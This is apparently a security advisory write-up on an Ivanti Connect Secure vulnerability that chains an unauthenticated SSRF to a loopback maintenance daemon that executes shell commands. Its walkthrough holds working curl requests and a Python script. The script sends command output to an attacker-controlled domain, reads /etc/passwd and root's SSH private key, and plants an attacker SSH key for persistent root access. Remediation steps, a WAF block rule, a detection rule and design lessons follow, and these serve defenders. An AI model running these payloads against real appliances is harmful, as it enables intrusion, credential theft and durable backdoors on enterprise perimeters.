Overview
CVE-2026-45201 is a critical unauthenticated remote code execution vulnerability in Ivanti Connect Secure, the SSL-VPN appliance formerly known as Pulse Secure. Ivanti Connect Secure has been a persistent target since 2020: CVE-2019-11510 (arbitrary file read), CVE-2021-22893 (pre-auth RCE), CVE-2024-21887 (command injection), and CVE-2025-0282 (stack buffer overflow) established it as one of the highest-risk enterprise appliances in terms of historically disclosed critical vulnerabilities.
This vulnerability is a two-step chain. Step one is a Server-Side Request Forgery (SSRF) in the appliance's REST API diagnostic endpoint, which performs unauthenticated HTTP probes on behalf of the caller. Step two is the exploitation of an internal management service that runs on loopback and accepts OS commands via a maintenance API — protected only by the assumption that it is unreachable from external networks. The SSRF breaks that assumption.
Exploitation was observed by multiple threat intelligence teams within 36 hours of the Ivanti advisory, attributed to a state-sponsored actor consistent with prior Ivanti targeting. Initial access was used to deploy persistent implants in the virtual filesystem layer, surviving factory resets.
Architecture Context
Ivanti Connect Secure appliances run a custom Linux-based operating system with a layered service architecture. The publicly-exposed HTTPS interface on port 443 hosts both the VPN authentication portal and a REST management API under /api/v1/. A small number of endpoints under this API are marked as unauthenticated to support pre-login health check integrations with load balancers and monitoring systems.
Internally, a maintenance daemon listens on 127.0.0.1:8090 and provides appliance management functions — including firmware update coordination, configuration import/export, and diagnostic shell command execution. This daemon assumes that reaching it via loopback is sufficient proof of a trusted caller origin, so it performs no additional authentication on incoming requests.
Root Cause
The vulnerable endpoint is POST /api/v1/totp/user-backup-code/healthcheck. It accepts a JSON body with a target field, makes an HTTP GET request to the specified URL, and returns the HTTP status code of the response — intended for administrators to verify connectivity to external TOTP servers. The endpoint requires no authentication:
# No auth required — curl returns the status of the probed URL
curl -sk -X POST https://TARGET/api/v1/totp/user-backup-code/healthcheck \
-H "Content-Type: application/json" \
-d '{"target": "https://attacker.com/probe"}' | python3 -m json.tool
# {
# "status": "ok",
# "probe_result": 200
# }
The probe is made server-side by the appliance, with no restriction on the target host or port. By supplying http://127.0.0.1:8090/ as the target, the SSRF reaches the internal maintenance daemon. The maintenance daemon exposes a /cmd endpoint that executes arbitrary shell commands:
# Direct access to 127.0.0.1:8090 is blocked externally but reachable via SSRF
# The maintenance API accepts GET with a 'cmd' query parameter
# http://127.0.0.1:8090/cmd?exec=id
# Returns: uid=0(root) gid=0(root)
The SSRF endpoint does not support arbitrary query strings in the probe response — it only returns the HTTP status code. To exfiltrate command output, the payload uses an out-of-band channel: the command output is base64-encoded and sent as a DNS lookup or HTTP request to an attacker-controlled server.
Exploitation Walkthrough
Step 1 — Confirm SSRF
Use an out-of-band interaction server (Burp Collaborator, interactsh, or a self-hosted netcat listener) to verify that the appliance makes outbound HTTP requests via the healthcheck endpoint:
curl -sk -X POST https://TARGET/api/v1/totp/user-backup-code/healthcheck \
-H "Content-Type: application/json" \
-d '{"target": "http://COLLAB.burpcollaborator.net/ssrf-test"}'
# Check collaborator — should receive an HTTP GET from the appliance's IP
Step 2 — Probe the Internal Management API
Confirm that port 8090 is accessible from the appliance itself by probing a known-good endpoint. A 200 response from the healthcheck confirms the internal service is reachable:
curl -sk -X POST https://TARGET/api/v1/totp/user-backup-code/healthcheck \
-H "Content-Type: application/json" \
-d '{"target": "http://127.0.0.1:8090/status"}' | python3 -m json.tool
# {
# "status": "ok",
# "probe_result": 200 ← internal management API confirmed
# }
Step 3 — Execute OS Commands via Out-of-Band Exfiltration
Trigger command execution via the management API's /cmd endpoint, exfiltrating output through a DNS lookup to an attacker-controlled domain. The command is URL-encoded within the SSRF target parameter:
import requests, urllib.parse, subprocess
TARGET = "https://TARGET"
COLLAB = "COLLAB.burpcollaborator.net"
SSRF_URL = f"{TARGET}/api/v1/totp/user-backup-code/healthcheck"
def ssrf_cmd(cmd):
# Exfil output via DNS: base64(output) as subdomain label
exfil_cmd = (
f"OUT=$({cmd} 2>&1 | base64 -w0); "
f"curl -sk http://$OUT.{COLLAB}/x"
)
payload = urllib.parse.quote(exfil_cmd)
probe_url = f"http://127.0.0.1:8090/cmd?exec={payload}"
requests.post(SSRF_URL, json={"target": probe_url}, verify=False, timeout=15)
print(f"[*] Command sent — check collaborator for: *.{COLLAB}")
ssrf_cmd("id")
ssrf_cmd("cat /etc/passwd")
ssrf_cmd("cat /home/admin/.ssh/id_rsa")
Step 4 — Establish Persistent Access
With root command execution confirmed, plant a persistent backdoor. Ivanti applies integrity checks to the standard filesystem on reboot, but the /data partition is persistent across reboots and resets. Adding an SSH key to root's authorised keys in the data partition (if backed by persistent storage) or writing a cron job to a data-partition path provides durable access:
# Add SSH public key for persistent root access
ssrf_cmd("mkdir -p /data/root/.ssh && echo 'ssh-ed25519 AAAA... attacker' >> /data/root/.ssh/authorized_keys && chmod 700 /data/root/.ssh && chmod 600 /data/root/.ssh/authorized_keys")
Affected Versions
- Ivanti Connect Secure 22.x < 22.7R2.6
- Ivanti Connect Secure 9.1.x < 9.1R18.10
- Ivanti Policy Secure 22.x < 22.7R1.4 (same codebase, same vulnerability)
Remediation
- Patch immediately to 22.7R2.6 / 9.1R18.10 or later.
- Run the Ivanti Integrity Checker Tool (ICT) to detect appliance compromise before patching — a compromised appliance may require factory reset followed by patch application.
- Restrict outbound HTTP from the appliance to known-good destinations at the network perimeter — this prevents SSRF-based exfiltration even if the vulnerability is not yet patched.
- Remove the healthcheck endpoint from external exposure if TOTP integration is not in use:
# Block at the perimeter WAF / load balancer location ~ ^/api/v1/totp/user-backup-code/healthcheck { return 403; }
Detection
title: CVE-2026-45201 Ivanti Connect Secure SSRF Probe
id: 7c3e1f22-8b44-4d9a-b091-5a2f3e7c1d08
status: stable
description: Detects unauthenticated POST requests to the Ivanti Connect Secure TOTP healthcheck endpoint
logsource:
category: webserver
product: ivanti_connect_secure
detection:
selection:
cs-uri-stem|endswith: '/api/v1/totp/user-backup-code/healthcheck'
cs-method: 'POST'
sc-status:
- 200
filter_legit:
# Legitimate load balancer probes come from known internal IPs
c-ip|startswith:
- '10.'
- '172.16.'
- '192.168.'
condition: selection and not filter_legit
falsepositives:
- External monitoring integrations (should be moved to internal IPs)
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2026-45201
Takeaways
- Internal services must authenticate callers even on loopback. The maintenance daemon's assumption that loopback-origin requests are trusted is a fundamental design flaw. Network position is not an authentication mechanism — any service that can be reached via SSRF, container escape, or lateral movement will be reached eventually. Every sensitive API endpoint needs its own authentication regardless of the network it binds to.
- SSRF-to-internal-API is one of the highest-impact vulnerability chains in enterprise appliances. The pattern — unauthenticated external SSRF + unauthenticated internal privileged service — has appeared in Ivanti, Pulse Secure, F5, and Citrix appliances over the past five years. The external SSRF alone is a medium-severity issue; the internal API turns it critical. Defence-in-depth requires both fixing the SSRF and ensuring internal services cannot be abused even if SSRF is present.
- VPN appliances are the highest-priority patching targets in any enterprise. They sit at the perimeter, process pre-authentication traffic, run as root, and often have persistent storage that survives resets. A compromised VPN appliance provides full visibility into all tunnelled traffic and a persistent foothold that survives most incident response procedures.